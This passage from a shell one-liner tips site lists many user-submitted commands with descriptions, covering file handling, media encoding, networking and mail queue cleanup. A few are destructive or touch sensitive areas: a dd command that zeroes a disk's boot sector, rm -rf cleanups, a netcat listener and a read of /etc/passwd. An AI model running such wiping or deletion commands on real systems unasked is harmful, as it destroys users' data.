that set of specific ports and it is clearer to read with the port numbers in ascending order (left to right). Caveat: no spaces in the comma separated list (just number1,number2,number3,etc). A variation of this to sort a comma separated list of strings: sort_css () { echo "${1}" | sed -e "s/,/\n/g"| sort -u | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; } usage: sort_css apples,pears,grapes,melons,oranges apples,grapes,melons,oranges,pears echo 474e552773204e6f7420556e697821 | sed -e 's/\(.\{2\}\)/\\\\x\1/g' | xargs echo -e Convert Hex to String ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done Functions: grep read ssh SSH monitor cat filename | tr '\n' '\0' | du -hsc ?files0-from=- Functions: cat du tr Have a list of directories in a file, ending with newlines and need to run du on it? du only accepts lines ending with a NUL, which can be a pain to create. This solves that issue. ‹ First < 202 203 204 205 206 > Last › perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/`/,$_)[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME $ perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/`/,$_)[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' vi /usr/bin/vi -> /etc/alternatives/vi -> /usr/bin/vim.gtk Show full path followed by a command This will show you any links that a command follows (unlike 'file -L'), as well as the ultimate binary or script. Put the name of the command at the very end; this will be passed to perl as the first argument. For obvious reasons, this doesn't work with aliases or functions. bind '"\C-e":"\eb `which \ef`\e\C-e"' Bash$ sudo myscript Bash$ sudo /home/user/bin/myscript expand a program-name into an absolute path on the bash command-line, using ctrl-e Tested with bash v4.1.5 on ubuntu 10.10 Limitations: as written above, only works for programs with no file extention (i.e 'proggy', but not 'proggy.sh') because \eb maps to readine function backward-word rather then shell-backward-word (which is unbinded by default on ubuntu), and correspondingly for \ef. if you're willing to have Ctrl-f and Ctrl-g taken up too , you can insert the following lines into ~/.inputrc, in which case invoking Ctrl-e will do the right thing both for "proggy" and "proggy.sh". -- cut here -- \C-f:shell-backward-word \C-g:shell-forward-word "\C-e":"\C-f`which \C-g`\e\C-e" cat username_lovedtracks.xspf |perl -pe "s/.*(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles Song: Twenty-Three Artist: MC Lars Song: Listen Close Artist: MC Frontalot Song: In Arrears Artist: MC Frontalot Song: Why So Nerdcore Artist: MC GoblinMajick Change your exported xml love list from last.fm, into Song: songname Artist: artistname wget ifconfig.me/ip -q -O - msgfilter --keep-header -i input.po -o empty.po awk -e '{}' empty a gettext po-file (or, po2pot) basically create a .pot file from a po-file, ready for translating psnup -4 -pa4 -Pa4 file.ps file2.ps printing with psnup while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done Functions: grep sleep Log a command's votes Log a command's votes, then run: gnuplot -persist <(echo "plot 'votes' with lines") gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1][line.index(' '):].replace('(',':version => ').replace(')','') for line in l];print '\n'.join(x)" config.gem :actionmailer , :version => 2.3.4 config.gem :actionpack , :version => 2.3.4 config.gem :activerecord , :version => 2.3.4 config.gem :activeresource , :version => 2.3.4 config.gem :activesupport , :version => 2.3.4 config.gem :capistrano , :version => 2.5.10, 2.5.9 config.gem :flexmock , :version => 0.8.6 config.gem :highline , :version => 1.5.1 config.gem :httpclient , :version => 2.1.5.2 config.gem :hypersonic , :version => 1.0 config.gem :libxml-ruby , :version => 1.1.3 config.gem :libxslt-ruby , :version => 0.9.2 config.gem :mysql , :version => 2.8.1 config.gem :net-scp , :version => 1.0.2 config.gem :net-sftp , :version => 2.0.2 config.gem :net-ssh , :version => 2.0.15 config.gem :net-ssh-gateway , :version => 1.0.1 config.gem :rack , :version => 1.0.1 config.gem :rails , :version => 2.3.4 config.gem :rake , :version => 0.8.7 config.gem :rest-client , :version => 1.0.3 config.gem :ruby-xslt , :version => 0.9.6 config.gem :soap4r , :version => 1.5.8 config.gem :sqlite3-ruby , :version => 1.2.5 config.gem :xml-simple , :version => 1.0.12 configify the list of gems on ur machine. the quick hack Just a small hack for ruby's environment.rb hdiutil burn foo.iso Burn an ISO on command line with hdiutil on mac find . -iname '*TODO*' Find the files that include a TODO statement within a project egrep -v "^$|^#" file Show a script or config file without comments or blank lines alias dateformatcodes="date --help | sed -n '/^FORMAT/,/%Z/p'" FORMAT controls the output. Interpreted sequences are: %% a literal % %a locale's abbreviated weekday name (e.g., Sun) %A locale's full weekday name (e.g., Sunday) %b locale's abbreviated month name (e.g., Jan) %B locale's full month name (e.g., January) %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005) %C century; like %Y, except omit last two digits (e.g., 20) %d day of month (e.g, 01) %D date; same as %m/%d/%y %e day of month, space padded; same as %_d %F full date; same as %Y-%m-%d %g last two digits of year of ISO week number (see %G) %G year of ISO week number (see %V); normally useful only with %V %h same as %b %H hour (00..23) %I hour (01..12) %j day of year (001..366) %k hour ( 0..23) %l hour ( 1..12) %m month (01..12) %M minute (00..59) %n a newline %N nanoseconds (000000000..999999999) %p locale's equivalent of either AM or PM; blank if not known %P like %p, but lower case %r locale's 12-hour clock time (e.g., 11:11:04 PM) %s seconds since 1970-01-01 00:00:00 UTC %S second (00..60) %t a tab %T time; same as %H:%M:%S %u day of week (1..7); 1 is Monday %U week number of year, with Sunday as first day of week (00..53) %V ISO week number, with Monday as first day of week (01..53) %w day of week (0..6); 0 is Sunday %W week number of year, with Monday as first day of week (00..53) %x locale's date representation (e.g., 12/31/99) %X locale's time representation (e.g., 23:13:48) %y last two digits of year (00..99) %Y year %z +hhmm numeric timezone (e.g., -0400) %:z +hh:mm numeric timezone (e.g., -04:00) %::z +hh:mm:ss numeric time zone (e.g., -04:00:00) %:::z numeric time zone with : to necessary precision (e.g., -04, +05:30) %Z alphabetic time zone abbreviation (e.g., EDT) Make a quick alias for seeing date's format codes. Prints out the list of date(1) format codes, for quick easy reference. dateformatcodes [ $1 ] && my_dir=$1 Get first argument in a script If Argument $1 is supplied, assign it to variable. Otherwise continue on. mplayer -vf-add scale=<SCREEN_WIDTH>:-3:::0.00:0.75 -vf-add expand=:<SCREEN_HEIGHT> -sub <SUBTITLE> <MOVIE> Put subtitles on black band in Mplayer psnup -2 file.ps | lpr Using psnup to get two pages per page cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip use curl to resume a failed download If you are downloading a big file (or even a small one) and the connection breaks or times out, use this command in order to RESUME the download where it failed, instead of having to start downloading from the beginning. This is a real win for downloading debian ISO images over a buggy DSL modem. Take the partially downloaded file and cat it into the STDIN of curl, as shown. Then use the "-C -" option followed by the URL of the file you were originally downloading. find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \; replace old htaccess php AddHandler values with new one Alter "AddHandler php5-cgi .php" and "AddHandler php4-cgi .php" entries to new "AddHandler x-httpd-php5 .php" respective php4 entries in all .htaccess files under /var/www find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}' 204753 Functions: awk find tail wc xargs This is really fast :) time find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}' real 0m0.191s user 0m0.068s sys 0m0.116s curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&|\&|')" | tivodecode -m $MAK -- - > tivo.mpg Replace $MAK with your MAK see https://www3.tivo.com/tivo-mma/showmakey.do Replace $tivo with your TiVo's IP gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)" put quotes ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2 Functions: awk cut ifconfig cat $(ls -c | grep ogg | tac ) > directory/test.ogg Functions: cat grep ls tac merge ogg file into a new one according to their download time ifconfig | sed -ne 's/^.*inet \(addr:\)*\([^ ]*\).*/\2/;te' -e 'd;:e' -e '/^127\./d;p' This also works on non-Linux machines. If you have GNU sed you can do it more elegantly: ifconfig | sed -n 's/^\s*inet \(addr:\)\?\([^\s]*\) .*/\2/;T;/^127\./d;p' paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf) Functions: cut paste no log to trace you google "search terms" #see description for more details Functions: more search google on any OS Inspired by: http://www.commandlinefu.com/commands/view/8744/search-google-on-os-x #!/bin/bash if [ -n "$1" ] then firefox 'http://www.google.com/search?q="'$1'"' else firefox 'http://www.google.com' fi Ive aliased this script as 'google' on my system and I can type 'google "search terms"' to open firefox with my search terms. My first post here, if there are any improvements to be made please let me know in the comments. ‹ First < 203 204 205 206 207 > Last › awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}') perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"' oneline REPL for perl with warnings and readline support cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */ move files without actually touching them id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \; Functions: find id less less an message on a postfix mailsystem with a specific message-id ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 out.mp4 Encode a hq video +10mb/min to an 1mb/min suitable for youtube http://tinyurl.com/yj7wgqe tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /dev/nst0 bsfm 1 && md5sum -c backup_md5.txt < /dev/st0 Functions: md5sum mt tar tee Backup to tape, rewind and check md5 Backups $DIR_TO_BACKUP into tape, creating on the fly a MD5SUM file of the backup. Then rewinds one record on tape and checks if it's well written. cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done; if [ $# -eq 2 ]; then newdir="${PWD/$1/$2}"; [ -d "${newdir}" ] || { echo "no ${newdir}"; return 1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"; fi } splante@guinness:/tmp/src/x/y/z/> cd src obj splante@guinness:/tmp/obj/x/y/z/> cd obj src splante@guinness:/tmp/src/x/y/z/> Functions: cd echo return ksh's version of cd has an optional syntax where you can type "cd old new" and it will replace "old" with "new" in your current directory and take you there. This is very handy when you have a parallel directory structure, like source and object directories. As suggested, you can just type cd ${PWD/old/new} to get this in bash, but this function in your .bashrc will let you type the ksh cd syntax and avoid typing the special characters while preserving other cd functionality. sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days'); get Mother's Day convert -size 1280x720 plasma:fractal background.png Create a 1280x720 color plasma image. Different each time. find /pentest/ -type f -iname "*trace*" /pentest/misc/dradis/server/config/initializers/backtrace_silencers.rb /pentest/misc/dradis/server/vendor/plugins/wiki_import/test/vendor/mocha-0.9.5/lib/mocha/backtrace_filter.rb /pentest/enumeration/irpas/itrace.c /pentest/enumeration/irpas/tctrace /pentest/enumeration/irpas/itrace /pentest/enumeration/irpas/itrace.o /pentest/enumeration/irpas/tctrace.o /pentest/enumeration/irpas/tctrace.c /pentest/enumeration/0trace/0trace.sh /pentest/enumeration/web/whatweb/plugins/TraceWatch.rb /pentest/exploits/framework2/src/impurity/tracepath.c /pentest/python/impacket-examples/tracer.py /pentest/web/mantra/data/extensions/firecookie@janodvarko.cz/chrome/skin/classic/firecookieTrace.css /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/skin/classic/traceConsole.css /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/components/firebug-trace-service.js /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/icons/default/TraceConsole.png /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceConsole.js /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceConsole.html /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceLogFrame.html /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceModule.js /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/trace.js /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceOverlay.xul /pentest/web/mantra/data/extensions/firebug@software.joehewitt.com/content/firebug/traceConsole.xul /pentest/fuzzers/spike/src/autom4te.cache/traces.2 /pentest/fuzzers/spike/src/autom4te.cache/traces.1 /pentest/fuzzers/spike/src/autom4te.cache/traces.0 /pentest/fuzzers/rfuzz/doc/mongrel-1.1.5/ri/MongrelDbg/begin_trace-c.yaml /pentest/fuzzers/rfuzz/doc/mongrel-1.1.5/ri/MongrelDbg/trace-c.yaml /pentest/fuzzers/rfuzz/doc/mongrel-1.1.5/ri/MongrelDbg/end_trace-c.yaml /pentest/libs/libhijack/src/ptrace.c /pentest/libs/libhijack/include/hijack_ptrace.h /pentest/scanners/unicornscan/src/test_scripts/traceroute_fmtcat.sh /pentest/telephony/warvox/web/config/initializers/.svn/text-base/backtrace_silencers.rb.svn-base /pentest/telephony/warvox/web/config/initializers/backtrace_silencers.rb find command usage you can find all "trace" phrases within everywhere else under the pentest directory.. mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d - Functions: awk grep mailq sed delete all DrWeb status, failure and other messages on a postfix server find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|? ' Filter output with default cvs update status (not only modified files 'M') ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 final.mkv Encode mkv file to ogg+h264+mkv du -h --max-depth=1 | sort -hr 7.4G . 2.4G ./lib64 2.1G ./share 1.1G ./src 534M ./lib 530M ./local 508M ./bin 219M ./java 74M ./sbin 54M ./include 16K ./x86_64-suse-linux 16K ./X11R6 8.0K ./log Credit goes to brun65i but he posted it as a comment instead as an alternative. I hadn't noticed the -h option on sort before and this seems like the cleanest alternative. Thanks Brun65i! # su - <user> ; script /dev/null ; screen -r Functions: screen script su resume other user's screen session via su, without pty error Normally, if you su to another user from root and try to resume that other user's screen session, you will get an error like "Cannot open your terminal '/dev/pts/0' - please check." This is because the other user doesn't have permission for root's pty. You can get around this by running a "script" session as the new user, before trying to resume the screen session. Note you will have to execute each of the three commands separately, not all on the same line as shown here. Credit: I found this at http://www.hjackson.org/blog/archives/2008/11/29/cannot-open-your-terminal-dev-pts-please-check. f(){ if [ "$PWD" != "$LPWD" ];then LPWD="$PWD"; tmux rename-window ${PWD//*\//}; fi }; export PROMPT_COMMAND=f; Automatically rename tmux window using the current working directory Adds a function that runs every time the prompt is rendered. The function grabs the CWD from PWD and issues a command to tmux to change the current window ls -la | awk '{print $5, " " ,$9}' | sort -rn file sizes of current directory for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done Functions: cut find rm sort purge old stale messages on a qmail queue curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -" High Preformance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3. Version 0.59s-mh4 (2000/Oct/27). Written and copyrights by Michael Hipp. Uses code from various people. See 'README' for more! THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! Playing MPEG stream from standard input ... Found new ID3 Header MPEG 2.0 layer III, 64 kbit/s, 22050 Hz joint-stereo Functions: head ssh Play 2600 off the hook over ssh Ever wanted to stream your favorite podcast across the network, well now you can. This command will parse the iTunes enabled podcast and stream the latest episode across the network through ssh encryption. ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3 Set volume to a mp3 file echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')" Terrorist threat level: ELEVATED Used curl instead of wget (minor change) Used the full-url instead of the shortened one (in case is.gd goes down/empties their cache) turned the tail | awk bit into a single awk command. type () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; } splante@linux3101:~> type -c java /usr/java/jdk1.6.0_21/jre/bin/java splante@linux3101:~> type java java is /usr/bin/java splante@linux3101:~> ls -l /usr/bin/java /etc/alternatives/java /etc/alternatives/jre /etc/alternatives/jdk /etc/alternatives/jdk_1.6.21/jre/bin/java lrwxrwxrwx 1 root root 22 Jun 25 2010 /usr/bin/java -> /etc/alternatives/java lrwxrwxrwx 1 root root 12 Jul 21 2010 /etc/alternatives/java -> jre/bin/java lrwxrwxrwx 1 root root 7 Jul 21 2010 /etc/alternatives/jre -> jdk/jre lrwxrwxrwx 1 root root 10 Jul 21 2010 /etc/alternatives/jdk -> jdk_1.6.21 -rwxr-xr-x 1 root root 47308 Jun 22 2010 /etc/alternatives/jdk_1.6.21/jre/bin/java Functions: readlink type Adds "-c" canonical option to bash "type" builtin command to follow symbolic links The "type" builtin command is handy to find out what executable will be used if you issue a command. But on some distros, particularly when using /etc/alternatives, certain executables get buried under layers and layers of symbolic links and it becomes hard to find which one. If you put the above command in your .bashrc, it adds a "-c" option to the type command that will weed through the symbolic links and prints the actual file that will be executed. uptime | cut -d "," -f 1 | cut -d " " -f 4- Functions: cut uptime ‹ First < 204 205 206 207 208 > Last › gnuplot -p <(echo "set terminal wxt size `xrandr|grep -P '\s{3}(\d+x\d+).*\+$'|tr -s ' ' '\t'|cut -f2|sort -n|tail -n1|tr 'x' ','`; set logscale y; set style data hist; set xtic rot by -90; plot '<(stat -c \"%n %s\" *)' u 2:xtic(1)") Log scaled histogram so that you can see large files even if there is a single HUGE file in the directory. Also makes sure the histogram is fullscreen for best chance of readable file names. screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main Functions: grep screen Start urxvt and do whatever is needed to open the screen session named "main" Open a terminal (urxvt in this case) to connect to a screen session (named "main") and create the screen session if necessary. for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done Functions: cp cut find grep xargs sync a directory of corrupted jpeg with a source directory Find all corrupted jpeg in the current directory, find a file with the same name in a source directory hierarchy and copy it over the corrupted jpeg file. Convenient to run on a large bunch of jpeg files copied from an unsure medium. Needs the jpeginfo tool, found in the jpeginfo package (on debian at least). curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -" Play a podcast via XPath and mpg123 Gets the latest podcast show from from your favorite Podcast. Uses curl and xmlstarlet. Make sure you change out the items between brackets. sed '/'"<opening tag>"'/,/'"<closing tag>"'/{/'"<closing tag>"'/d;p};d' "<file>" daveqb@localhost /tmp $ cat test one two three four five six seven sed '/'"four"'/,/'"six"'/{/'"six"'/d;p};d' "test" This line does not include your closing tag in the output. wget -O/dev/null -q URLtoCheck && echo exists || echo not exist exists / not exist put your link [url] to check if exist the remote file jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM * $RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p /usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/' rackettwiseheartedgellytutoressn Functions: awk bash sed tr So I use OSX and don't have the shuf command. This is what I could come up with. This command assumes /usr/share/dict/words does not surpass 137,817,948 lines and line selection is NOT uniformly random. unzip -l filename.zip |awk '{ if($4 != "Name" && $4 != "----") print $4}'|xargs -t rm -rf {} rm -rf {} OLE/ OLE/PPS/ OLE/PPS/File.php OLE/PPS/Root.php OLE/package.xml OLE/OLE.php OLE/PPS.php Spreadsheet/ Spreadsheet/Excel/ Spreadsheet/Excel/Writer.php Spreadsheet/Excel/package.xml Spreadsheet/Excel/Writer/ Spreadsheet/Excel/Writer/Parser.php Spreadsheet/Excel/Writer/Workbook.php Spreadsheet/Excel/Writer/Validator.php Spreadsheet/Excel/Writer/Format.php Spreadsheet/Excel/Writer/Worksheet.php Spreadsheet/Excel/Writer/BIFFwriter.php CSVtoXLS.php example.csv README.txt Functions: awk rm xargs un-unzip a file Sometimes you unzip a file that has no root folder and it spews files all over the place. This will clean up all of those files by deleting them. find /etc/ /pentest/ -type f -iname "*sql*" | grep map root@bt:~# find /etc/ /pentest/ -type f -iname "*sql*" | grep map /pentest/enumeration/lanmap2/data/map-TCP-SYN.sql /pentest/enumeration/lanmap2/data/map-IPv4.sql /pentest/enumeration/lanmap2/data/map-DNS-TXT.sql /pentest/enumeration/lanmap2/data/gen-db.sql /pentest/enumeration/lanmap2/data/map-BOOTP-VendorClass.sql /pentest/enumeration/lanmap2/data/map-BOOTP-Fingerprint.sql /pentest/enumeration/lanmap2/data/map-ICMP-Echo-Fingerprint.sql /pentest/enumeration/lanmap2/data/map-CDP.sql /pentest/enumeration/lanmap2/data/map-BROWSE.sql /pentest/enumeration/lanmap2/data/map-SSDP.sql /pentest/enumeration/lanmap2/lib/libluasqlite3-loader.lua.in find usage you can find a special things(with defined -iname "*sql*") from in most of one direcroty(for example from both /etc/ and /pentest/) and then you can want to grep only include "map" word nc -l -p portnumber This is the syntax for older versions of netcat. find . -type f -mtime -14 -exec ls -ltd \{\} \; | less -rw-r--r-- 1 george george 75 2010-05-24 07:37 ./.update-notifier/hooks_seen -rw-r--r-- 1 george george 61440 2010-05-14 15:54 ./.pulse/bfd54adae3f2c2b797ed9b374b0d221f-device-volumes.tdb -rw-r--r-- 1 george george 42 2010-05-27 07:33 ./.pulse/bfd54adae3f2c2b797ed9b374b0d221f-default-source -rw-r--r-- 1 george george 43 2010-05-27 07:33 ./.pulse/bfd54adae3f2c2b797ed9b374b0d221f-default-sink -rw------- 1 george george 6917 2010-05-27 06:09 ./.recently-used.xbel Find files modified in the last N days; list sorted by time What *have* I been working on for the last 2 weeks... ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}' Combines wgzhao's grep | awk | sed into one awk command. cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -forceidx -oac copy -ovc copy output.avi -o output_final.avi; rm output.avi Functions: cat rm Join avi files sshfs /root/Desktop/mountdirectory root@remotehost:/etc/ sshfs usage you can use this command for mounting local directory to a remost directory.. find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio Functions: cd cpio find rm copying data with cpio Copy data to the destination using commands such as cpio (recommended), tar, rsync, ufsdump, or ufsrestore. Let the source directory be /source, and let the destination directory be /destination. # cd /source # cd .. # find ./source -depth -print | cpio -cvo> /destination/source_data.cpio # cd /destination # cpio -icvmdI ./source_data.cpio # rm -rf ./source_data.cpio awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null Calculating series with awk only, no need for seq: add numbers from 1 to 100 awk 'BEGIN {for(i=1;i<=19;i+=2)sum+=i}; END {print sum}' /dev/null # displays 100 awk 'BEGIN {for(i=1;i<=10;i++)sum+=1/(2**i)}; END {print sum}' /dev/null # displays 0.999023 exiftool -d %Y-%m-%d_%H.%M.%S%%-c.%%e "-filename<CreateDate" . Rename all images in current directory to filename based on year, month, day and time based on exif information mpc playlist | grep -in bar 54: Foo_song_with_bar_in_it Finds the track no of songs, to be played perl -pi -e 's:^V^M::g' <filenames> That "^M" is Ctrl-M, which is a carriage return, and is not needed in Unix file systems. Where ^V is actually Ctrl-V and ^M is actually Ctrl-M (you must type these yourself, don't just copy and paste this command). ^V will not be displayed on your screen. find . -type d -exec chmod 755 {} \; Change permissions of every directory in current directory "find . -type d -print0 | xargs -0 chmod 755" thanks masterofdisaster grep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2- body br center div fieldset font form func:function func:result h1 h2 h4 head html img input label li link meta noscript option p sc select span strong style table tbody td textarea th title tr ul xsl:apply-templates xsl:attribute xsl:call-template xsl:choose xsl:copy-of xsl:for-each xsl:if xsl:include xsl:otherwise xsl:param xsl:stylesheet xsl:template xsl:text xsl:value-of xsl:variable xsl:when xsl:with-param This one will work a little better, the regular expressions it is not 100% accurate for XML parsing but it will suffice any XML valid document for sure. netstat -nt | awk -F":" '{print $2}' | sort | uniq -c count connections, group by IP and port for F in *.pdf ; do qpdf --password=your_password --decrypt "$F" "$(basename $F .pdf)-nopw.pdf" ; done Remove password from PDF This command line will remove password from all PDF files in the current folder. It use qpdf. ftp>!w ftp> !w 10:38PM up 32 mins, 2 users, load averages: 0.45, 0.16, 0.06 USER TTY FROM LOGIN@ IDLE WHAT Functions: ftp Run command in an ftp session By putting ! in front of a command, we are able to run it from an ftp session. watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'" Remind yourself every 15 minutes (repeated reminders) 1) -n option of watch accepts seconds 2) -t option of notify-send accepts milliseconds 3) All quotes stated in the given example are required if notification message is more than a word. 4) I couldn't get this to run in background (use of & at the end fails). Any suggestions/improvements welcome. ‹ First < 205 206 207 208 209 > Last › find / -type f -size +548576 -printf "%s:%h%f\n" you can change the size :) awk '$3==$4' /etc/passwd Print all lines from a file that has the same N th and M th column grep -n log4j MainPm.java | sed -e 's/^\([^:]*\):\(.*\)/\2 \1/' import org.apache.log4j.LogManager; 11 import org.apache.log4j.Logger; 12 move linenumbers of grep output to end of line Uses sed with a regex to move the linenumbers to the line end. The plain regex (w/o escapes) looks like that: ^([^:]*):(.*) diff dir1 dir2 | diffstat $ diff vpn_hebex vpn_hebex2 | diffstat vpn_hebex/ipsec.d |only vpn_hebex2/hebex-route.ip-down | 7 +++++++ 2 files changed, 7 insertions(+) See which files differ in a diff See which files differ in a diff, and how many changes there are. Very useful when you have tons of differences. dd if=/dev/zero of=/dev/sdb bs=446 count=1 Remove the boot loader from a usb stick If you don't want your computer to try to boot form a USB stick that used to be used as a boot device (maybe for a live linux distro), you will have to remove the boot loader from your stick other wise the boot will fail each time the device is attached to your PC. gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi } Makes a project directory, unless it exists; changes into the dir, and creates an empty git repository, all in one command gitstart ~/path/to/dir Initialized empty Git repository in /home/user/path/to/dir/.git/ (for FILE in $@; do echo $[100*++x/$#]; command-for-each-parameter; done)|zenity --progress --auto-close # Example usage for rotating images: (for FILE in $@; do echo $[100*++x/$#]; mogrify -rotate -90 "$FILE"; done)|zenity --progress --auto-close call with: $ ./script file1.gif file2.jpg file3.png ... Zenity percent progressbar for scripts accepting parameters Shows a zenity progressbar for each file in a script, see the samble output. Works with any number, less, equal or greater than 100. x is not initially defined. If used twice in the script, set it: x=0 (for FILE in $@; do echo $[100*++x/$#]; command... "$FILE"; done)|zenity --progress --auto-close watch !! monitor the last command run tar -tvjf backup.tar.bz2 | sort -nrk 3 | head Functions: sort tar Shows the largest files in your archives pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')" Enter passphrase for $HOME/.pwsafe.dat: _ Safely store your gpg key passphrase. From time to time one forgets either thier gpg key or other passphrases. This can be very problematic in most cases. But luckily there's this script. Its based off of pwsafe which is a unix commandline program that manages encrypted password databases. For more info on pwsafe visit, http://nsd.dyndns.org/pwsafe/. What this script does is it will help you store all your passphrases for later on and allow you to copy it to your clipboard so you can just paste it in, all with one password. Pretty neat no? You can find future releases of this and many more scripts at The Teachings of Master Denzuko - denzuko.wordpress.com. perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shift=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123 Test if the given argument is a valid ip address. This command will output 1 if the given argument is a valid ip address and 0 if it is not. export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )' [marcio@localhost ~]$ export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )' [marcio@localhost ~]$ ls xyz ls: cannot access xyz: No such file or directory shell returned 2 [marcio@localhost ~]$ Receiving alerts about commands who exit with failure If a command returns a error code, you will know b(){ echo "scale=${2:-2}; $1" | bc -l; } b 6*7 -> 42 b "e(1)" 6 -> 2.718281 a=1; b=1/7; b $a/$b -> 0.14 floating point bash calculator w/o precision terms inclosing '()' must be enclosed by "" (soft quotes) bash variables must be referenced: b $x/$y ugly bracket checking (balanced, fractions...) default precision 2 cat /proc/acpi/thermal_zone/*/temperature Show thermal info A quick way of know the temperature info. od --format=x1 --address-radix=x mybinaryfile hexadecimal dump of a file as it is on disk with hexadecimal offsets --format=x1 makes sure that 2 byte words do not get swapped to little-endian and that the output is exactly like the bytes are stored on disk. --address-radix=x makes sure offsets are not output in default octal base but in hex. --address-radix=n can also be used to only output data without offsets for i in `cat names.txt`; do host -r $i [nameserver]; done ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1 10.10.10.2 10.10.20.250 show your private/local ip address Gets the IP addresses of all interfaces except loopback. Cuts out all of the extra text. Shorter than the other options, and much easier to type. 'ifconfig | 